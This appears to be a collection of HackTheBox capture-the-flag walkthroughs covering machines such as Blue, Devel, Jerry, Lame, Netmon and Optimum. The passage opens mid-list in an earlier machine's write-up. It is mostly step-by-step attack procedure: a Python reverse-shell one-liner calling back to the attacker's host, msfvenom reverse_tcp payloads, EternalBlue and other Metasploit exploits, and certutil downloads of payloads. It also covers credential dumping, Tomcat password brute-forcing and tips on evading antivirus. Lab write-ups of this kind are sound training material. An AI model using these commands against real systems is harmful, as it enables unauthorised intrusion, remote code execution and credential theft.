5. View source code of pages shows nothing.
6. `dirbuster` found `dev/phpbash.php`.
7. Go to `10.10.10.68` and launch `phpbash.php` which launches web terminal.
8. `whoami` is `www-data` so lets get the user flag. `cat /home/arrexel/user.txt`.
9. test `sudo -l` and `history` which shows we can become `scriptmanager` user without password.
10. Can't change to `scriptmanager` because we are in a wbeshell without a tty.
11. `cd /var/www/html/uploads/` and upload payload.
12. Lets try [`php-reverse-shell`](http://pentestmonkey.net/tools/web-shells/php-reverse-shell) from pentestmonkey instead of metasploit. Download and extract.
13. Edit the `$ip` and `$port` to our ip and port `1234`.
14. Start web server `python -m SimpleHTTPServer 80` and run `wet http://10.10.14.21/rev.php` on the target.
15. Start netcat `nc -nvlp 1234`
16. Go to `10.10.10.68/uploads/rev.php` to execute and connect.
17. Still can't access tty so serach for `tty escape` and go to to [Spawning a TTY Shell](https://netsec.ws/?p=337).
18. Just go down the list and try the options. Try `python -c 'import pty; pty.spawn("/bin/bash")'` and no we are in `bash`.
19. `sudo su scriptmanager` does not work so lets try running a command as the user `sudo -u scriptmanager /bin/bash`.
20. `whoami` is `scripmanager` and `history` is none.
21. `ls -la /` shows `scriptmanager` owns `/scripts`.
22. `cd scripts` and `ls -la` shows `test.py` and `test.txt`.
23. The time modified for the `test.txt` changes every minute so a cronjob is running the `test.py` evvery minute as root. Lets change the `test.py` so it performs malicious actions.
24. Search for `python reverse shell` and use the [Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).
25. Use `import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.21",2345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);` (`-i` is interactive mode) and download to target.
26. Start listening `nc -nvlp 2345` and wait for shell.

Someone exploited with `CVE-2017-16995` found after running the `linux-exploit-suggester`.


# Blue

HTB - 3. Blue (MS17.010)

1. `nmap -T4 -p- -A 10.10.10.40` shows 139 & 445 (smb) open, version Windows 7 Professional 7601 Service Pack 1, computer name is haris-PC, message signing enabled by not required,
2. Metaploit Test if vulnerable

   ```
   sudo msfconsole
   search ms17-010
   use auxiliary/scanner/smb/smb_ms17_010
   options
   set rhosts 10.10.10.40
   run
   ```

   Result: Host is likely vulnerable

   Exploit:

   ```
   use exploit/windows/smb/ms17_010_eternalblue
   set rhosts 10.10.10.40
   show targets
   run
   ```

   Result: shell popped with `nt authoirty/system`

   Used an un-staged payload, so lets try staged and get a meterpreter

   ```
   set payload windows/x64/meterpreter/reverse_tcp
   options
   run
   getuid
   sysinfo
   hashdump
   shell
   route print
   arp -a
   netstat -ano
   load kiwi
   help
   creds_all
   lsa_dump_sam
   lsa_dump_secrets
   load incognito
   list_tokens -u
   ```
3. Autoblue: <https://github.com/3ndG4me/AutoBlue-MS17-010>

   ```
   git clone https://github.com/3ndG4me/AutoBlue-MS17-010
   cd AutoBlue-MS17-010
   ls
   python eternalblue_checker.py 10.10.10.40
   ```

   Result: Target not patched

   Exploit:

   ```
   cd shellcode
   sudo ./shell_prep.sh
   y
   10.10.14.24
   4445
   4446
   0 <-- Meterpreter instead of shell
   0 <-- Staged instead of un-staged
   cd ..
   ls
   sudo ./listener_prep.sh
   10.10.14.24
   4445
   4446
   0
   0
   python eternalblue_exploit7.py 10.10.10.40 shellcode/sc_all.bin
   sessions
   sessions 1
   getuid
   whoami
   sysinfo
   ```


# Devel

HTB - 4. Devel

1. `nmap -T4 -p- -A 10.10.10.5` shows 22 (FTP) with anonymous login (to webroot directory?), 80 (HTTP) with Microsoft IIS httpd 7.5
2. Go to `10.10.10.5` which is a default web page
3. `dirbuster` (`dirb` and `gobuster` popular as well) with `http://10.10.10.5:80`, wordlist `/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`, and change file-extension to `asm, asmx, asp, aspx, txt` because server is IIS
4. FTP: upload file to server

   ```
   ftp 10.10.10.5
   anonymous
   anonymous
   ls
   pwd
   put dog.jpg
   ls
   ```

   Go to `10.10.10.5/dog.jpg` and it executes.
5. `msfvenom`

   * [msfvenom cheatsheet 1](https://netsec.ws/?p=331)
   * [msfvenom cheatsheet 2](https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/)

   Create `reverse_tcp` payload:

   ```
   msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.24 LPORT=4444 -f aspx > ex.aspx
   ```

   Open up port to listen on:

   ```
   sudo msfconsole
   use exploit/multi/handler
   options
   set payload windows/meterpreter/reverse_tcp
   options
   set LHOST 10.10.14.24
   run
   ```
6. Back to FTP

   ```
   binary <-- swith to binary instead of ascii
   put ex.aspx
   ```

   Go to `10.10.10.5/ex.aspx` and shell popped
7. Hacked

   ```
   sysinfo
   getuid
   ```

   Result: We are `IIS APPPOOL\Web` not authority system. `getsystem` failed.

   Check to see which privilege escalation exploits might work:

   ```
   background
   search suggester
   use post/multi/recon/local_exploit_suggester
   options
   set SESSION 1
   run
   ```

   Run privilege escalation

   ```
   use exploit/windows/local/ms10_015_kitrap0d
   options
   set SESSION 1
   options
   run
   options
   set lhost 10.10.14.24 <-- make sure using the right interface
   set lport 4445 <-- Need to use different port since 4445 already in use
   options
   run
   ```

   Result: Shell popped with authority system


# Grandpa

HTB 9. Grandpa

1. `nmap -T4 -A -p- 10.10.10.14` shows 80 open with version `Microsoft IIS httpd 6.0` (dated version) and poentially risky methods (`TRACE` and \`PUT)
2. Go to `10.10.10.14` shows "Under Construction" page.
3. Google `Microsoft IIS httpd 6.0 exploit` finds [Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow](https://www.exploit-db.com/exploits/41738) and [Rapid7](https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl).
4. `searchsploit ScStoragePathFromUrl` shows python and ruby modules.
5. Metasploit

   ```
   use exploit/windows/iis/iis_webdav_scstoragepathfromurl
   set rhost 10.10.10.14
   set lport 5555
   show targets
   run
   ```

   Try running again (4 times)
6. We are not system. `ps` to show processes. Pick a process that has `NT AUTHORITY\NETWORK SERVICE` with `migrate 1788` and success.
7. Priv esc suggester:

   ```
   search suggester
   use 0
   options
   set session 1
   run
   ```

   Result: 9 options, go down list and try to see what works
8. start with `ms10_015_kitrap0d` and `set lhost tun0`
9. `getuid` is `NT AUTHORITY\SYSTEM`.


# Jerry

HTB - 5. Jerry (Default Credentials)

1. `nmap -T4 -p- -A 10.10.10.95` shows 8080 open with Apache Tomcat/Coyote JSP engine 1.1 and Tomcat version 7.0.88
2. Go to `10.10.10.95` and shwos Apache Tomcat default page
3. Search `tomcat default credentials` and found <https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown>
4. Burp Suite
   1. Click server management page
   2. Try login with `tomcat:tomcat`
   3. Send to decoder
   4. Select authorization basic and decode as base64
   5. Forwarded and did not work
   6. Try again and sent to repeater and intruder
5. Create passwords
   1. Get from [the url](https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown) and replace " " with ":".
   2. Write bash script to base64 encode all the credentials

      ```
      for cred in $(cat tomcat.txt); do echo -n $cred | base64; done
      ```
6. Back to Burp Suite Intruder
   1. Set to sniper attack
   2. Select the authorization basic
   3. Paste in list of base64 encoded usernames and passwords into Payloads/Payload Options
   4. Disable URL encoder
   5. Run and see much longer length code 200 for the successful credientials: `tomcat:s3cret`
7. Create WAR file exploit

   1. Search `tomcat war reverse shell msfvenom`: <https://netsec.ws/?p=331>
   2. `msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.24 LPORT=4444 -f war > shell.war` which will try to connect to our computer on port 4444
   3. `nc -nvlp 4444` to listen on port 4444
   4. Upload to tomcat managment server and deploy
   5. Go to `/shell` and got `nt authoirty/system`

   ```
   whoami
   cd c:\users\administrator
   cd Desktop
   cd flags
   dir
   arp -a
   ```
8. New reverse shell Create payload:

   ```
   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.24 LPORT=5555 -f exe > sh.exe
   ```

   Listen on port 5555:

   ```
   sudo msfconsole
   use exploit/multi/handler
   set payload windows/x64/meterpreter/reverse_tcp
   options
   set LHOST 10.10.14.24
   set LPORT 5555
   run
   ```

   Transfer file to windows:

   ```
   python -m SimpleHTTPServer 80 <-- start server on attacker
   certutil -urlcache -f http://10.10.14.24/sh.exe c:\users\administrator\desktop\flags\sh.exe <-- On victim
   dir
   sh.exe
   ```

   Result: shell popped


# Lame

HTB - 2. Lame

1. `nmap -A -T4 -p- 10.10.10.3` takes 144 seconds, 21 (ftp) open with version `vsftpd 2.3.4` and anonymous login allowed, 22 (ssh) open with version `4.7p1 Debian 8ubuntu2`, 139 & 445 (samba) open with version 3.0.20-Debian (workgroup: WORKGROUP), 3632 (distccd v1) with version 4.2.4
2. Samba

   ```
   smbclient -L \\\\10.10.10.3\\
   exit
   smbclient -L \\\\10.10.10.3\\tmp
   exit
   smbclient -L \\\\10.10.10.3\\opt
   exit
   smbclient -L \\\\10.10.10.3\\ADMIN$
   ```

   Result: Dead end
3. FTP Check

   ```
   ftp 10.10.10.3
   anonymous
   anonymous
   ls
   pwd
   ```

   Result: In directory `/` which is empty
4. Search `samba 3.0.20-debian exploit`: <https://www.rapid7.com/db/modules/exploit/multi/samba/usermap\\_script> and [Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)](https://www.exploit-db.com/exploits/16320)
5. Metasploit Exploit

   ```
   use exploit/multi/samba/usermap_script
   options
   set rhosts 10.10.10.3
   show targets
   exploit
   whoami
   hostname
   pwd
   ls
   updatedb
   locate root.txt
   locate user.txt
   cat /root/root.txt
   cat /home/makis/user.txt
   cat /etc/passwd
   cat /etc/shadow
   unshadow passwd shadow
   ```

   Result: Shell popped and machine owned. Can try to crack passwords with `hashcat`.
6. Search `vsftpd 2.3.4 exploit`: <https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd\\_234\\_backdoor> - This is a rapithole; don't continuously try if it doesn't work


# Legacy

HTB - 1. Legacy

1. `nmap -A -T4 -p- 10.10.10.4` shows 139 and 445 open, running Windows XP, computer name LEGACY, message\_signing disabled.
2. `smbclient -L \\10.10.10.4\\` no connection
3. Metasplot

   ```
   sudo msfconsole
   search smb_version
   use auxiliary/scanner/smb/smb_version
   options
   set rhosts 10.10.10.4
   exploit
   ```

   Result: running Windows XP SP3
4. Search `smb windows xp sp3 exploit` found <https://www.rapid7.com/db/modules/exploit/windows/smb/ms08\\_067\\_netapi>
5. Metasplot Exploit

   ```
   use exploit/windows/smb/ms08_067_netapi
   set rhosts 10.10.10.4
   run
   getuid
   sysinfo
   help
   hashdump
   shell
   ```

   Result: shell spawned at NT AUTHORITY\SYTEM (root equivalent) `hashdump` gives password hashes Admin Flag at `C:\Documents and Settings\Administrator\Desktop\root.txt` User Flag at `C:\Documents and Settings\john\Desktop\user.txt`


# Netmon

HTB 10. Netmon

1. `nmap -T4 -p- -A 10.10.10.152` shows port 21 (ftp) with anonymous login enabled and lists possibly the `C:` drive, port 80 (http) running `Indy httpd 18.1.37.13946`, and ports 135/139/445 (rpc) reveal machine is running `Microsoft Windows Server 2008 R2`, two webservers running on 5985 and 47001 both are 404s. Webpage probably in `/inetpub`.
2. Go to `10.10.10.152` and shows login. Google `PRTG Network Monitor default credentials` shows `prgtadmin:prgtadmin` that don't work. Google for `PRTG Network Monitor exploit` finds [PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution ](https://www.exploit-db.com/exploits/46527)which needs authentication.
3. Search for `prtg network monitor db file location` finds paths [How and where does PRTG store its data?](https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data) to possibly find login credentials
4. `ftp 10.10.10.152` and `cd "Users\All Users\Application Data\"` is access denied. Try `cd "Users\All Users\Application Data\Paessler\PRTG Network Monitor"` which works.
5. Download the three configurations files. Opening the `PRTG Configuration.dat` and searching for `prtgadmin` (the default username) finds encrypted password. Test the `old` file which is encrypted too. Test the `old.back` which has the unencrypted password.
6. Login with credentials `prtgadmin:PrTg@admin2018`, which fails. Lets try `prtgadmin:PrTg@admin2019` since that was from a backup file from a year ago. This password works.
7. Open Burp Suite and intercept finds the cookie needed for the exploit find earlier.
8. Download [the exploit](https://www.exploit-db.com/exploits/46527) and run with `./exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX"` to create admin user with credentials `pentest:P3nT3st!` on the computer not the webinterface.
9. Get [`impacket`](https://github.com/SecureAuthCorp/impacket). Try `psexec.py pentest:P3nT3st!@10.10.10.152` which works to gain a remote shell. Can also try `wmiexec.py` or `smbexec.py`.
10. psexec can only work with the following:
    * TCP port 445
    * The admin$ administrative share available
    * You know a local account’s credential
11. `psexec.py` is less likely to trigger antivirus than metasploit verion. But, both `wmiexec.py` and `smbexec.py` are the least likely to trigger antivirus.


# Nibbles

HTB 6. Nibbles

1. Port 22 and 80 open from `nmap -A -T4 -p- 10.10.10.75`, typically 80 is for the exploit and 22 is used later. SSH is usually not the exploit.
2. `searchsploit apache 2.4`
3. Going to `10.10.10.75` shows "Hello World" only
4. Viewing source shows `10.10.10.75/nibbleblog/` on nibbleblog platform
5. `searchsploit nibble` finds Nibbleblog 4.0.3 arbitrary file upload and remote code execution
6. In metasploit `use exploit/multi/http/nibbleblog_file_upload` and `info` shows we need to be authenticated
7. `dirbuster` to find login pages
8. Could potentially use Burp Suite to brute force usernames and password or just bruteforce password with admin as username. Potentially use `cewl` on blog posts to create password list.
9. Credentials are `admin:nibbles`, guessed by site name.
10. Set parameters in metasploit to the username, password, rhosts, and `targeturi=/nibbleblog`.
11. This works because of the `My Image` plugin that allows any file to be uploaded (no whitelisting is being done)
12. `sysinfo` shows `4.4.0 ubuntu` and `gituid` show `nibbler (1001)`
13. Searching for priv\_esc

    ```
    shell
    cd /home/nibbler
    ls -la
    cat user.txt
    history
    cat .bash_history
    sudo -l
    ```
14. `sudo -l` reveals `~/personal/stuff/monitor.sh` can run as root without a password
15. This folder does not exist so we can create a shell script in that location.
16. `personal.zip` exists, potentially try and crack it
17. `uname -a` to print entire OS running and potentially search for exploits for the general OS
18. [`LinEnum.sh`](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh) and [`linuxprivchecker.py`](https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py) are great scripts for enumerating linux.
19. `echo "bash -i" > monitor.sh` and `chmod +x monitor.sh`
20. `sudo /home/nibbler/personal/stuff/monitor.sh`
21. cat `/root/root.txt`


# Optimum

HTB 7. Optimum

1. `nmap -A -T4 -p- 10.10.10.8` reveals only port 80 running `httpd 2.3`
2. Going to `10.10.10.8` shows its a file server
3. Search for default credentials (httpd has no default credentials)
4. `searchsploit rejetto` (since rejetto is the vender of this file server)
5. Search google for `rejetto hfs 2.3 exploit` reveals metasploit remote code execution and many others
6. Nmap reveals probably an OS that the exploit works on
7. Metasploit `use exploit/windows/http/rejetto_hfs_exec`, set rhsots, and set payload to `windows/x64/meterpreter/reverse_tcp`
8. `set lhost tun0` instead of typing in IP (because its faster)
9. `sysinfo` shows `x64` on `x64` and `getid` is `kostas`
10. Attempt priv esc: `getsystem` fails, `background` and `use post/multi/recon/local_exploit_suggester` (`set session 1`) and `run` reveals nothing
11. [**`sherlock`**](https://github.com/rasta-mouse/Sherlock) **by `rastamouse` (or more up-to-date version** [**`Watson`**](https://github.com/rasta-mouse/Watson)**)**
12. Search google for `windows 2002 r2 (build 9600) privilege escalation` reveals `exploit-db` exploit avaible that might possibly work
13. Search `ms16-032` in metasploit shows there is a module for it. Lets `use` it. Set target to `1` which is `x64`. Set `lhost tun0` and `lport 443`. Ran twice; didn't work.
14. Manual method: Download `sherlock` above as `sher.ps1`. Start http server with python and use cerutil (`certutil -urlcache -f http://10.10.14.14/sher.ps1 sher.ps1`) to download file. Run with `powershell.exe -exec bypass -Command "& {Import-Module .\sher.ps1; Find-AllVulns}"`. Result: 3 Potential vulnerabilities
15. **Clone** [**AonCyberLabs/Windows-Exploit-Suggester**](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)**, run `python ./windows-exploit-suggester.py --update`**
16. Run `systeminfo` in shell on target and put in text file for `windows-exploit-suggester.py`.
17. Run `python ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt` which detects `MS16-098` exploit; download exploit from `exploit-db`.
18. `gcc 41020.c ex.exe` fails so lets download the binary from the link provided on `exploit-db`.
19. Run python web server, download to target, and run with `sh.exe`.
20. `whoami` gives us `nt authority\system`


